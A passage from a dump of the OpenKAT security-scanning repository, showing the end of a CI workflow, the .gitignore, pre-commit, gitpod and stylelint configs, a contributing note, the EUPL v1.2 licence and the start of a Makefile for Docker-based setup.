--no-pager -u xtdb-http-multinode.service && exit $s ; fi\n\n      - name: Create _dev node in Octopoes\n        run: curl -s -X POST http://localhost:8001/_dev/node\n\n      - name: Check Octopoes API health or print response and logs\n        run: |\n          for i in {1..15}; do curl -s http://localhost:8001/_dev/health | jq .healthy | grep true -q && s=0 && break || s=$? && sleep 1 ; done\n          if [ $s != 0 ]; then echo $(curl -v http://localhost:8001/_dev/health) || true && journalctl --no-pager -u kat-octopoes.service && exit $s ; fi\n\n      - name: Set up Python 3.13\n        uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0\n        with:\n          python-version: \"3.13\"\n          cache: pip\n\n      - name: Install Robot Framework\n        run: pip3 install robotframework robotframework-browser robotframework-debuglibrary robotframework-otp robotframework-postgresqldb pyotp\n\n      - name: Initialize rfbrowser\n        run: rfbrowser init\n\n      - name: Run Robot Full Onboarding Flow\n        run: robot -d rocky/tests/robot/results-ci -v headless:true rocky/tests/robot/ci\n\n      - name: Upload Robot Framework reports\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        if: always()\n        with:\n          name: rf-results-ci\n          path: /home/runner/work/nl-kat-coordination/nl-kat-coordination/rocky/tests/robot/results*\n"
  },
  {
    "path": ".gitignore",
    "content": "\n# Created by https://www.toptal.com/developers/gitignore/api/windows,linux,macos,python,node,react,intellij,vscode\n# Edit at https://www.toptal.com/developers/gitignore?templates=windows,linux,macos,python,node,react,intellij,vscode\n\n### Intellij ###\n# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider\n# Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839\n\n# User-specific stuff\n.idea/\n.vscode\n\n# Gradle and Maven with auto-import\n# When using Gradle or Maven with auto-import, you should exclude module files,\n# since they will be recreated, and may cause churn.  Uncomment if using\n# auto-import.\n# .idea/artifacts\n# .idea/compiler.xml\n# .idea/jarRepositories.xml\n# .idea/modules.xml\n# .idea/*.iml\n# .idea/modules\n*.iml\n*.ipr\n\n# CMake\ncmake-build-*/\n\n# Mongo Explorer plugin\n.idea/**/mongoSettings.xml\n\n# File-based project format\n*.iws\n\n# IntelliJ\nout/\n\n# mpeltonen/sbt-idea plugin\n.idea_modules/\n\n# JIRA plugin\natlassian-ide-plugin.xml\n\n# Cursive Clojure plugin\n.idea/replstate.xml\n\n# Crashlytics plugin (for Android Studio and IntelliJ)\ncom_crashlytics_export_strings.xml\ncrashlytics.properties\ncrashlytics-build.properties\nfabric.properties\n\n# Editor-based Rest Client\n.idea/httpRequests\n\n# Android studio 3.1+ serialized cache file\n.idea/caches/build_file_checksums.ser\n\n### Intellij Patch ###\n# Comment Reason: https://github.com/joeblau/gitignore.io/issues/186#issuecomment-215987721\n\n# *.iml\n# modules.xml\n# .idea/misc.xml\n# *.ipr\n\n# Sonarlint plugin\n# https://plugins.jetbrains.com/plugin/7973-sonarlint\n.idea/**/sonarlint/\n\n# SonarQube Plugin\n# https://plugins.jetbrains.com/plugin/7238-sonarqube-community-plugin\n.idea/**/sonarIssues.xml\n\n# Markdown Navigator plugin\n# https://plugins.jetbrains.com/plugin/7896-markdown-navigator-enhanced\n.idea/**/markdown-navigator.xml\n.idea/**/markdown-navigator-enh.xml\n.idea/**/markdown-navigator/\n\n# Cache file creation bug\n# See https://youtrack.jetbrains.com/issue/JBR-2257\n.idea/$CACHE_FILE$\n\n# CodeStream plugin\n# https://plugins.jetbrains.com/plugin/12206-codestream\n.idea/codestream.xml\n\n### Linux ###\n*~\n\n# temporary files which can be created if a process still has a handle open of a deleted file\n.fuse_hidden*\n\n# KDE directory preferences\n.directory\n\n# Linux trash folder which might appear on any partition or disk\n.Trash-*\n\n# .nfs files are created when an open file is removed but is still being accessed\n.nfs*\n\n### macOS ###\n# General\n.DS_Store\n.AppleDouble\n.LSOverride\n\n# Icon must end with two \\r\nIcon\n\n\n# Thumbnails\n._*\n\n# Files that might appear in the root of a volume\n.DocumentRevisions-V100\n.fseventsd\n.Spotlight-V100\n.TemporaryItems\n.Trashes\n.VolumeIcon.icns\n.com.apple.timemachine.donotpresent\n\n# Directories potentially created on remote AFP share\n.AppleDB\n.AppleDesktop\nNetwork Trash Folder\nTemporary Items\n.apdisk\n\n### Node ###\n# Logs\nlogs\n*.log\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\nlerna-debug.log*\n\n# Diagnostic reports (https://nodejs.org/api/report.html)\nreport.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json\n\n# Runtime data\npids\n*.pid\n*.seed\n*.pid.lock\n\n# Directory for instrumented libs generated by jscoverage/JSCover\nlib-cov\n\n# Coverage directory used by tools like istanbul\ncoverage\n*.lcov\n\n# nyc test coverage\n.nyc_output\n\n# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)\n.grunt\n\n# Bower dependency directory (https://bower.io/)\nbower_components\n\n# node-waf configuration\n.lock-wscript\n\n# Compiled binary addons (https://nodejs.org/api/addons.html)\nbuild/Release\n\n# Dependency directories\nnode_modules/\njspm_packages/\n\n# TypeScript v1 declaration files\ntypings/\n\n# TypeScript cache\n*.tsbuildinfo\n\n# Optional npm cache directory\n.npm\n\n# Optional eslint cache\n.eslintcache\n\n# Optional stylelint cache\n.stylelintcache\n\n# Microbundle cache\n.rpt2_cache/\n.rts2_cache_cjs/\n.rts2_cache_es/\n.rts2_cache_umd/\n\n# Optional REPL history\n.node_repl_history\n\n# Output of 'npm pack'\n*.tgz\n\n# Yarn Integrity file\n.yarn-integrity\n\n# dotenv environment variables file\n.env\n.env*.local\n*.env\n\n# parcel-bundler cache (https://parceljs.org/)\n.cache\n.parcel-cache\n\n# Next.js build output\n.next\n\n# Nuxt.js build / generate output\n.nuxt\ndist\n\n# Gatsby files\n.cache/\n# Comment in the public line in if your project uses Gatsby and not Next.js\n# https://nextjs.org/blog/next-9-1#public-directory-support\n# public\n\n# vuepress build output\n.vuepress/dist\n\n# Serverless directories\n.serverless/\n\n# FuseBox cache\n.fusebox/\n\n# DynamoDB Local files\n.dynamodb/\n\n# TernJS port file\n.tern-port\n\n# Stores VSCode versions used for testing VSCode extensions\n.vscode-test\n\n### Python ###\n# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\nwheels/\npip-wheel-metadata/\nshare/python-wheels/\n*.egg-info/\n.installed.cfg\n*.egg\nMANIFEST\n\n# PyInstaller\n#  Usually these files are written by a python script from a template\n#  before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.nox/\n.coverage\n.coverage.*\nnosetests.xml\ncoverage.xml\n*.cover\n*.py,cover\n.hypothesis/\n.pytest_cache/\npytestdebug.log\n\n# Translations\n*.mo\n\n# Django stuff:\nlocal_settings.py\ndb.sqlite3\ndb.sqlite3-journal\n\n# Flask stuff:\ninstance/\n.webassets-cache\n\n# Scrapy stuff:\n.scrapy\n\n# Sphinx documentation\ndocs/_build/\ndoc/_build/\n\n# PyBuilder\ntarget/\n\n# Jupyter Notebook\n.ipynb_checkpoints\n\n# IPython\nprofile_default/\nipython_config.py\n\n# pyenv\n.python-version\n\n# PEP 582; used by e.g. github.com/David-OConnor/pyflow\n__pypackages__/\n\n# Celery stuff\ncelerybeat-schedule\ncelerybeat.pid\n\n# SageMath parsed files\n*.sage.py\n\n# Environments\n.venv\nenv/\nvenv/\nENV/\nenv.bak/\nvenv.bak/\npythonenv*\n\n# Spyder project settings\n.spyderproject\n.spyproject\n\n# Rope project settings\n.ropeproject\n\n# mkdocs documentation\n/site\n\n# mypy\n.mypy_cache/\n.dmypy.json\ndmypy.json\n\n# Pyre type checker\n.pyre/\n\n# pytype static type analyzer\n.pytype/\n\n# profiling data\n.prof\n\n### react ###\n.DS_*\n**/*.backup.*\n**/*.back.*\n\nnode_modules\n\n*.sublime*\n\npsd\nthumb\nsketch\n\n### vscode ###\n.vscode/*\n!.vscode/settings.json\n!.vscode/tasks.json\n!.vscode/launch.json\n!.vscode/extensions.json\n*.code-workspace\n\n### Windows ###\n# Windows thumbnail cache files\nThumbs.db\nThumbs.db:encryptable\nehthumbs.db\nehthumbs_vista.db\n\n# Dump file\n*.stackdump\n\n# Folder config file\n[Dd]esktop.ini\n\n# Recycle Bin used on file shares\n$RECYCLE.BIN/\n\n# Windows Installer files\n*.cab\n*.msi\n*.msix\n*.msm\n*.msp\n\n# Windows shortcuts\n*.lnk\n\n# Swap files\n*.swp\n\n# End of https://www.toptal.com/developers/gitignore/api/windows,linux,macos,python,node,react,intellij,vscode\n\n/bytes/bytes-data\n/nl-kat-bytes/bytes-data\n/errors\n*.tar.gz\n.password-store\n.envrc\ndeployment/github_config.sh\n\nnl-kat-*\n/_version.py\n\n# Automatically generated markdown files for the environment variables\ndocs/source/installation-and-deployment/environment-settings/boefjes.md\ndocs/source/installation-and-deployment/environment-settings/bytes.md\ndocs/source/installation-and-deployment/environment-settings/mula.md\ndocs/source/installation-and-deployment/environment-settings/octopoes.md\n\ndocs/source/_static/d3.min.js\ndocs/source/_static/mermaid.min.js\n\n# rpki cache\n/boefjes/boefjes/plugins/kat_rpki/rpki.json\n/boefjes/boefjes/plugins/kat_rpki/rpki-meta.json\n/boefjes/boefjes/plugins/kat_rpki/bgp.jsonl\n/boefjes/boefjes/plugins/kat_rpki/bgp-meta.json\n\n# ignore test tmp files\n/boefjes/tests/modules/**/boefje.json.tmp\n\n*.pstat\n**/.cache*\n"
  },
  {
    "path": ".gitpod.yml",
    "content": "# Reference: https://www.gitpod.io/docs/references/gitpod-yml\n\ntasks:\n  - init: make\n\nports:\n  - port: 8000\n    onOpen: open-preview\n"
  },
  {
    "path": ".pre-commit-config.yaml",
    "content": "repos:\n  - repo: https://github.com/pre-commit/pre-commit-hooks\n    rev: v5.0.0\n    hooks:\n      - id: trailing-whitespace\n      - id: mixed-line-ending\n        args: [\"--fix=lf\"]\n      - id: detect-private-key\n        exclude: ^boefjes/boefjes/plugins/kat_cve_2023_34039/keys/\n      - id: check-case-conflict\n      - id: check-yaml\n      - id: check-json\n      - id: check-toml\n      - id: debug-statements\n        exclude: |\n          (?x)(\n          ^boefjes/tools |\n          ^octopoes/tools\n          )\n      - id: end-of-file-fixer\n        exclude: |\n          (?x)(\n          \\.svcg$ |\n          ^boefjes/tests/examples/rdns-nxdomain.txt$ |\n          ^boefjes/tests/examples/raw/\n          )\n      - id: fix-byte-order-marker\n      - id: pretty-format-json\n        args: [\"--autofix\", \"--no-ensure-ascii\", \"--no-sort-keys\"]\n        exclude: |\n          (?x)(\n          ^boefjes/boefjes/plugins/kat_wappalyzer/technologies.json |\n          )\n\n  - repo: https://github.com/abravalheri/validate-pyproject\n    rev: v0.23\n    hooks:\n      - id: validate-pyproject\n        files: pyproject.toml$\n\n  - repo: https://github.com/rstcheck/rstcheck\n    rev: v6.2.4\n    hooks:\n      - id: rstcheck\n        # https://github.com/rstcheck/rstcheck-core/issues/4\n        args:\n          [\n            \"--ignore-messages\",\n            \"Hyperlink target .* is not referenced\",\n            \"--ignore-directives\",\n            \"mermaid,automodule\",\n          ]\n        additional_dependencies: [\"rstcheck[sphinx]\", \"autodoc-pydantic==2.1.0\"]\n\n  - repo: https://github.com/MarketSquare/robotframework-tidy\n    rev: \"4.14.0\"\n    hooks:\n      - id: robotidy\n\n  - repo: https://github.com/jendrikseipp/vulture\n    rev: v2.13\n    hooks:\n      - id: vulture\n        exclude: |\n          /tests/\n\n  - repo: https://github.com/astral-sh/ruff-pre-commit\n    rev: \"v0.8.1\"\n    hooks:\n      - id: ruff\n      - id: ruff-format\n\n  - repo: https://github.com/asottile/pyupgrade\n    rev: v3.19.0\n    hooks:\n      - id: pyupgrade\n        args: [--py310-plus]\n\n  - repo: https://github.com/adamchainz/django-upgrade\n    rev: 1.22.1\n    hooks:\n      - id: django-upgrade\n        args: [--target-version, \"5.0\"]\n\n  - repo: https://github.com/pre-commit/mirrors-mypy\n    rev: v1.13.0\n    hooks:\n      - id: mypy\n        additional_dependencies:\n          - types-pyyaml\n          - types-cachetools\n          - types-retry\n          - pydantic\n          - pynacl\n          - httpx\n          - types-python-dateutil\n          - types-requests\n          - types-croniter\n          - boto3-stubs[s3]\n        exclude: |\n          (?x)(\n          ^boefjes/tools |\n          ^mula/whitelist\\.py$ |\n          ^mula/scripts |\n          ^octopoes/tools |\n          ^rocky/whitelist\\.py$ |\n          /tests/ |\n          docs/source/conf\\.py$ |\n          setup\\.py$\n          )\n\n  - repo: https://github.com/codespell-project/codespell\n    rev: v2.3.0\n    hooks:\n      - id: codespell\n        additional_dependencies: [\"tomli\"]\n        args: [\"-L\", \"lama\", \"--ignore-regex\", \".{1024}|.*codespell-ignore.*\"]\n        exclude: |\n          (?x)(\n          \\.po$ |\n          \\.xml$ |\n          \\.svg$ |\n          poetry.lock$ |\n          pyproject.toml$ |\n          requirements-.*.txt$ |\n          retirejs.json$ |\n          ^boefjes/boefjes/plugins/kat_fierce/lists |\n          ^boefjes/boefjes/plugins/kat_wappalyzer/data/.*.json |\n          ^boefjes/tests/examples/inputs/cve-result-without-cvss.json |\n          ^boefjes/tests/examples |\n          ^rocky/assets/js/vendor |\n          ^rocky/assets/css/themes/soft/fonts/tabler-icons/tabler-icons.scss$ |\n          ^rocky/tests/stubs |\n          ^rocky/reports/report_types/aggregate_organisation_report |\n          ^rocky/reports/report_types/multi_organization_report |\n          ^docs/source/_static |\n          ^boefjes/boefjes/plugins/kat_cve_2023_34039/keys/ |\n          ^boefjes/boefjes/plugins/kat_rpki/rpki.json\n          )\n\n  - repo: https://github.com/Riverside-Healthcare/djLint\n    rev: v1.36.3\n    hooks:\n      - id: djlint-reformat-django\n        files: |\n          (?x)(\n          ^rocky/.*/templates/.*$ |\n          ^rocky/reports/report_types/.*/.*\\.html\n          )\n        exclude: '^rocky/rocky/templates/admin/.*\\.html$'\n\n      - id: djlint-django\n        files: |\n          (?x)(\n          ^rocky/.*/templates/.*$ |\n          ^rocky/reports/report_types/.*/.*\\.html\n          )\n        exclude: '^rocky/rocky/templates/admin/.*\\.html$'\n\n  - repo: https://github.com/thibaudcolas/pre-commit-stylelint\n    rev: v16.10.0\n    hooks:\n      - id: stylelint\n        args: [--fix]\n        additional_dependencies:\n          - stylelint@15.10.1\n          - stylelint-config-standard-scss@10.0.0\n        files: \"^(rocky\\/assets\\/css\\/|docs\\/source\\/).*.(css|scss|sass)$\"\n\n  - repo: https://github.com/shellcheck-py/shellcheck-py\n    rev: v0.10.0.1\n    hooks:\n      - id: shellcheck\n        args: [\"-e\", \"SC1091\"]\n\n  - repo: https://github.com/scop/pre-commit-shfmt\n    rev: v3.10.0-1\n    hooks:\n      - id: shfmt\n        args: [\"-w\", \"-s\", \"-i\", \"4\", \"-sr\"]\n\n  - repo: https://github.com/pre-commit/mirrors-prettier\n    rev: v4.0.0-alpha.8\n    hooks:\n      - id: prettier\n        additional_dependencies:\n          - prettier@3.2.5 # SEE: https://github.com/pre-commit/pre-commit/issues/3133\n        exclude: |\n          (?x)(\n          \\.html$ |\n          \\.json$ |\n          \\.min\\.js$ |\n          ^rocky/assets/css/themes/soft/fonts |\n          ^rocky/assets/vendors |\n          ^docs/source/_static\n          )\n"
  },
  {
    "path": ".stylelintrc.json",
    "content": "{\n  \"extends\": \"stylelint-config-standard-scss\",\n  \"ignoreFiles\": [\n    \"rocky/assets/css/themes/soft/fonts/tabler-icons/tabler-icons.scss\"\n  ],\n  \"rules\": {\n    \"number-max-precision\": 5,\n    \"color-hex-length\": \"long\",\n    \"declaration-block-no-redundant-longhand-properties\": null,\n    \"no-descending-specificity\": null,\n    \"scss/operator-no-newline-after\": null,\n    \"font-family-no-missing-generic-family-keyword\": [\n      true,\n      {\n        \"ignoreFontFamilies\": [\n          \"RO Icons\",\n          \"tabler-icons\",\n          \"kat-icons\"\n        ]\n      }\n    ]\n  }\n}\n"
  },
  {
    "path": "CONTRIBUTING.rst",
    "content": "============\nContributing\n============\n\nThank you, dear developer, who is considering to help out with OpenKAT! Feel welcome. If you want to get in touch, please do so!\n\nDocumentation\n=============\n\nWe keep `our documentation here <https://docs.openkat.nl>`_, generated from our github repo.\n\nGuidelines\n==========\n\n`Our contribution guidelines <https://docs.openkat.nl/developer-documentation/contributor/index.html>`_ might help you find your way.\n\nContact\n=======\n\n`Get in touch <https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/blob/main/README.rst#contact>`_ with our dev team or community managers here.\n"
  },
  {
    "path": "LICENSE",
    "content": "                      EUROPEAN UNION PUBLIC LICENCE v. 1.2\n                      EUPL © the European Union 2007, 2016\n\nThis European Union Public Licence (the ‘EUPL’) applies to the Work (as defined\nbelow) which is provided under the terms of this Licence. Any use of the Work,\nother than as authorised under this Licence is prohibited (to the extent such\nuse is covered by a right of the copyright holder of the Work).\n\nThe Work is provided under the terms of this Licence when the Licensor (as\ndefined below) has placed the following notice immediately following the\ncopyright notice for the Work:\n\n        Licensed under the EUPL\n\nor has expressed by any other means his willingness to license under the EUPL.\n\n1. Definitions\n\nIn this Licence, the following terms have the following meaning:\n\n- ‘The Licence’: this Licence.\n\n- ‘The Original Work’: the work or software distributed or communicated by the\n  Licensor under this Licence, available as Source Code and also as Executable\n  Code as the case may be.\n\n- ‘Derivative Works’: the works or software that could be created by the\n  Licensee, based upon the Original Work or modifications thereof. This Licence\n  does not define the extent of modification or dependence on the Original Work\n  required in order to classify a work as a Derivative Work; this extent is\n  determined by copyright law applicable in the country mentioned in Article 15.\n\n- ‘The Work’: the Original Work or its Derivative Works.\n\n- ‘The Source Code’: the human-readable form of the Work which is the most\n  convenient for people to study and modify.\n\n- ‘The Executable Code’: any code which has generally been compiled and which is\n  meant to be interpreted by a computer as a program.\n\n- ‘The Licensor’: the natural or legal person that distributes or communicates\n  the Work under the Licence.\n\n- ‘Contributor(s)’: any natural or legal person who modifies the Work under the\n  Licence, or otherwise contributes to the creation of a Derivative Work.\n\n- ‘The Licensee’ or ‘You’: any natural or legal person who makes any usage of\n  the Work under the terms of the Licence.\n\n- ‘Distribution’ or ‘Communication’: any act of selling, giving, lending,\n  renting, distributing, communicating, transmitting, or otherwise making\n  available, online or offline, copies of the Work or providing access to its\n  essential functionalities at the disposal of any other natural or legal\n  person.\n\n2. Scope of the rights granted by the Licence\n\nThe Licensor hereby grants You a worldwide, royalty-free, non-exclusive,\nsublicensable licence to do the following, for the duration of copyright vested\nin the Original Work:\n\n- use the Work in any circumstance and for all usage,\n- reproduce the Work,\n- modify the Work, and make Derivative Works based upon the Work,\n- communicate to the public, including the right to make available or display\n  the Work or copies thereof to the public and perform publicly, as the case may\n  be, the Work,\n- distribute the Work or copies thereof,\n- lend and rent the Work or copies thereof,\n- sublicense rights in the Work or copies thereof.\n\nThose rights can be exercised on any media, supports and formats, whether now\nknown or later invented, as far as the applicable law permits so.\n\nIn the countries where moral rights apply, the Licensor waives his right to\nexercise his moral right to the extent allowed by law in order to make effective\nthe licence of the economic rights here above listed.\n\nThe Licensor grants to the Licensee royalty-free, non-exclusive usage rights to\nany patents held by the Licensor, to the extent necessary to make use of the\nrights granted on the Work under this Licence.\n\n3. Communication of the Source Code\n\nThe Licensor may provide the Work either in its Source Code form, or as\nExecutable Code. If the Work is provided as Executable Code, the Licensor\nprovides in addition a machine-readable copy of the Source Code of the Work\nalong with each copy of the Work that the Licensor distributes or indicates, in\na notice following the copyright notice attached to the Work, a repository where\nthe Source Code is easily and freely accessible for as long as the Licensor\ncontinues to distribute or communicate the Work.\n\n4. Limitations on copyright\n\nNothing in this Licence is intended to deprive the Licensee of the benefits from\nany exception or limitation to the exclusive rights of the rights owners in the\nWork, of the exhaustion of those rights or of other applicable limitations\nthereto.\n\n5. Obligations of the Licensee\n\nThe grant of the rights mentioned above is subject to some restrictions and\nobligations imposed on the Licensee. Those obligations are the following:\n\nAttribution right: The Licensee shall keep intact all copyright, patent or\ntrademarks notices and all notices that refer to the Licence and to the\ndisclaimer of warranties. The Licensee must include a copy of such notices and a\ncopy of the Licence with every copy of the Work he/she distributes or\ncommunicates. The Licensee must cause any Derivative Work to carry prominent\nnotices stating that the Work has been modified and the date of modification.\n\nCopyleft clause: If the Licensee distributes or communicates copies of the\nOriginal Works or Derivative Works, this Distribution or Communication will be\ndone under the terms of this Licence or of a later version of this Licence\nunless the Original Work is expressly distributed only under this version of the\nLicence — for example by communicating ‘EUPL v. 1.2 only’. The Licensee\n(becoming Licensor) cannot offer or impose any additional terms or conditions on\nthe Work or Derivative Work that alter or restrict the terms of the Licence.\n\nCompatibility clause: If the Licensee Distributes or Communicates Derivative\nWorks or copies thereof based upon both the Work and another work licensed under\na Compatible Licence, this Distribution or Communication can be done under the\nterms of this Compatible Licence. For the sake of this clause, ‘Compatible\nLicence’ refers to the licences listed in the appendix attached to this Licence.\nShould the Licensee's obligations under the Compatible Licence conflict with\nhis/her obligations under this Licence, the obligations of the Compatible\nLicence shall prevail.\n\nProvision of Source Code: When distributing or communicating copies of the Work,\nthe Licensee will provide a machine-readable copy of the Source Code or indicate\na repository where this Source will be easily and freely available for as long\nas the Licensee continues to distribute or communicate the Work.\n\nLegal Protection: This Licence does not grant permission to use the trade names,\ntrademarks, service marks, or names of the Licensor, except as required for\nreasonable and customary use in describing the origin of the Work and\nreproducing the content of the copyright notice.\n\n6. Chain of Authorship\n\nThe original Licensor warrants that the copyright in the Original Work granted\nhereunder is owned by him/her or licensed to him/her and that he/she has the\npower and authority to grant the Licence.\n\nEach Contributor warrants that the copyright in the modifications he/she brings\nto the Work are owned by him/her or licensed to him/her and that he/she has the\npower and authority to grant the Licence.\n\nEach time You accept the Licence, the original Licensor and subsequent\nContributors grant You a licence to their contributions to the Work, under the\nterms of this Licence.\n\n7. Disclaimer of Warranty\n\nThe Work is a work in progress, which is continuously improved by numerous\nContributors. It is not a finished work and may therefore contain defects or\n‘bugs’ inherent to this type of development.\n\nFor the above reason, the Work is provided under the Licence on an ‘as is’ basis\nand without warranties of any kind concerning the Work, including without\nlimitation merchantability, fitness for a particular purpose, absence of defects\nor errors, accuracy, non-infringement of intellectual property rights other than\ncopyright as stated in Article 6 of this Licence.\n\nThis disclaimer of warranty is an essential part of the Licence and a condition\nfor the grant of any rights to the Work.\n\n8. Disclaimer of Liability\n\nExcept in the cases of wilful misconduct or damages directly caused to natural\npersons, the Licensor will in no event be liable for any direct or indirect,\nmaterial or moral, damages of any kind, arising out of the Licence or of the use\nof the Work, including without limitation, damages for loss of goodwill, work\nstoppage, computer failure or malfunction, loss of data or any commercial\ndamage, even if the Licensor has been advised of the possibility of such damage.\nHowever, the Licensor will be liable under statutory product liability laws as\nfar such laws apply to the Work.\n\n9. Additional agreements\n\nWhile distributing the Work, You may choose to conclude an additional agreement,\ndefining obligations or services consistent with this Licence. However, if\naccepting obligations, You may act only on your own behalf and on your sole\nresponsibility, not on behalf of the original Licensor or any other Contributor,\nand only if You agree to indemnify, defend, and hold each Contributor harmless\nfor any liability incurred by, or claims asserted against such Contributor by\nthe fact You have accepted any warranty or additional liability.\n\n10. Acceptance of the Licence\n\nThe provisions of this Licence can be accepted by clicking on an icon ‘I agree’\nplaced under the bottom of a window displaying the text of this Licence or by\naffirming consent in any other similar way, in accordance with the rules of\napplicable law. Clicking on that icon indicates your clear and irrevocable\nacceptance of this Licence and all of its terms and conditions.\n\nSimilarly, you irrevocably accept this Licence and all of its terms and\nconditions by exercising any rights granted to You by Article 2 of this Licence,\nsuch as the use of the Work, the creation by You of a Derivative Work or the\nDistribution or Communication by You of the Work or copies thereof.\n\n11. Information to the public\n\nIn case of any Distribution or Communication of the Work by means of electronic\ncommunication by You (for example, by offering to download the Work from a\nremote location) the distribution channel or media (for example, a website) must\nat least provide to the public the information requested by the applicable law\nregarding the Licensor, the Licence and the way it may be accessible, concluded,\nstored and reproduced by the Licensee.\n\n12. Termination of the Licence\n\nThe Licence and the rights granted hereunder will terminate automatically upon\nany breach by the Licensee of the terms of the Licence.\n\nSuch a termination will not terminate the licences of any person who has\nreceived the Work from the Licensee under the Licence, provided such persons\nremain in full compliance with the Licence.\n\n13. Miscellaneous\n\nWithout prejudice of Article 9 above, the Licence represents the complete\nagreement between the Parties as to the Work.\n\nIf any provision of the Licence is invalid or unenforceable under applicable\nlaw, this will not affect the validity or enforceability of the Licence as a\nwhole. Such provision will be construed or reformed so as necessary to make it\nvalid and enforceable.\n\nThe European Commission may publish other linguistic versions or new versions of\nthis Licence or updated versions of the Appendix, so far this is required and\nreasonable, without reducing the scope of the rights granted by the Licence. New\nversions of the Licence will be published with a unique version number.\n\nAll linguistic versions of this Licence, approved by the European Commission,\nhave identical value. Parties can take advantage of the linguistic version of\ntheir choice.\n\n14. Jurisdiction\n\nWithout prejudice to specific agreement between parties,\n\n- any litigation resulting from the interpretation of this License, arising\n  between the European Union institutions, bodies, offices or agencies, as a\n  Licensor, and any Licensee, will be subject to the jurisdiction of the Court\n  of Justice of the European Union, as laid down in article 272 of the Treaty on\n  the Functioning of the European Union,\n\n- any litigation arising between other parties and resulting from the\n  interpretation of this License, will be subject to the exclusive jurisdiction\n  of the competent court where the Licensor resides or conducts its primary\n  business.\n\n15. Applicable Law\n\nWithout prejudice to specific agreement between parties,\n\n- this Licence shall be governed by the law of the European Union Member State\n  where the Licensor has his seat, resides or has his registered office,\n\n- this licence shall be governed by Belgian law if the Licensor has no seat,\n  residence or registered office inside a European Union Member State.\n\nAppendix\n\n‘Compatible Licences’ according to Article 5 EUPL are:\n\n- GNU General Public License (GPL) v. 2, v. 3\n- GNU Affero General Public License (AGPL) v. 3\n- Open Software License (OSL) v. 2.1, v. 3.0\n- Eclipse Public License (EPL) v. 1.0\n- CeCILL v. 2.0, v. 2.1\n- Mozilla Public Licence (MPL) v. 2\n- GNU Lesser General Public Licence (LGPL) v. 2.1, v. 3\n- Creative Commons Attribution-ShareAlike v. 3.0 Unported (CC BY-SA 3.0) for\n  works other than software\n- European Union Public Licence (EUPL) v. 1.1, v. 1.2\n- Québec Free and Open-Source Licence — Reciprocity (LiLiQ-R) or Strong\n  Reciprocity (LiLiQ-R+).\n\nThe European Commission may update this Appendix to later versions of the above\nlicences without producing a new version of the EUPL, as long as they provide\nthe rights granted in Article 2 of this Licence and protect the covered Source\nCode from exclusive appropriation.\n\nAll other changes or additions to this Appendix require the production of a new\nEUPL version.\n"
  },
  {
    "path": "Makefile",
    "content": "SHELL := bash\n.ONESHELL:\n.NOTPARALLEL:\n\n# use HIDE to run commands invisibly, unless VERBOSE defined\nHIDE:=$(if $(VERBOSE),,@)\nUNAME := $(shell uname)\n\n.PHONY: kat update reset up stop down clean fetch pull upgrade env-if-empty env build debian-build-image ubuntu-build-image docs upgraderequirements requirements\n\n# Export Docker buildkit options\nexport DOCKER_BUILDKIT=1\nexport COMPOSE_DOCKER_CLI_BUILD=1\n\n# We can't really return an error here, so if settings-doc fails we delete the\n# file which will result in sphinx-build returning an error later on\ndefine build-settings-doc\n\techo \"# $(4)\" > docs/source/installation-and-deployment/environment-settings/$(3).md\n\tDOCS=True PYTHONPATH=./$(1) settings-doc generate \\\n\t-f markdown -m $(2) \\\n\t--templates docs/settings-doc-templates \\\n\t>> docs/source/installation-and-deployment/environment-settings/$(3).md || exit 1\nendef\n\n\n# Build and bring up all containers (default target)\nkat: env-if-empty build up\n\t@echo\n\t@echo \"The KAT frontend is running at http://localhost:8000,\"\n\t@echo \"An initial superuser has been created\"\n\t@echo \"The username is stored in DJANGO_SUPERUSER_EMAIL in the .env-default file.\"\n\t@echo \"run 'grep 'DJANGO_SUPERUSER_EMAIL' .env-defaults' to find it.\"\n\t@echo \"The related password can be found as DJANGO_SUPERUSER_PASSWORD in the .env file.\"\n\t@echo \"run 'grep 'DJANGO_SUPERUSER_PASSWORD' .env' to find it.\"\n\t@echo\n\t@echo \"WARNING: This is a development environment, do not use in production!\"\n\t@echo \"See https://docs.openkat.nl/installation-and-deployment/production-docker-environment.html for production\"\n\t@echo \"installation instructions.\"\n\n# Remove containers, update using git pull and bring up containers\nupdate: down pull kat\n\n# Remove all containers and volumes, and bring containers up again (data loss!)\nreset: clean kat\n\n# Bring up containers\nup:\n\tdocker compose up --detach\n\n# Stop containers\nstop:\n\t-docker compose stop\n\n# Remove containers but not volumes (no data loss)\ndown:\n\t-docker compose down\n\n# Remove containers and all volumes (data loss!)\nclean:\n\t-docker compose down --timeout 0 --volumes --remove-orphans\n\t-rm -Rf rocky/node_modules rocky/assets/dist rocky/.parcel-cache rocky/static\n\n# Fetch the latest changes from the Git remote\nfetch:\n\tgit fetch --all --prune --tags\n\n# Pull the latest changes from the default upstream\npull:\n\tgit pull\n\tdocker compose pull\n\n# Upgrade to the latest release without losing persistent data. Usage: `make upgrade version=v1.5.0` (version is optional)\nVERSION?=$(shell curl -sSf \"https://api.github.com/repos/SSC-ICT-Innovatie/nl-kat-coordination/tags\" | jq -r '[.[].name | select(. | contains(\"rc\") | not)][0]')\nupgrade: down fetch\n\tgit checkout $(VERSION)\n\tmake kat\n\n# Create .env file only if it does not exist\nenv-if-empty:\nifeq (\"$(wildcard .env)\",\"\")\n\tmake env\nendif\n\n# Create .env file from the env-dist with randomly generated credentials from vars annotated by \"{%EXAMPLE_VAR}\"\nenv:\n\tcp .env-dist .env\n\techo \"Initializing .env with random credentials\"\nifeq ($(UNAME), Darwin)  # Different sed on 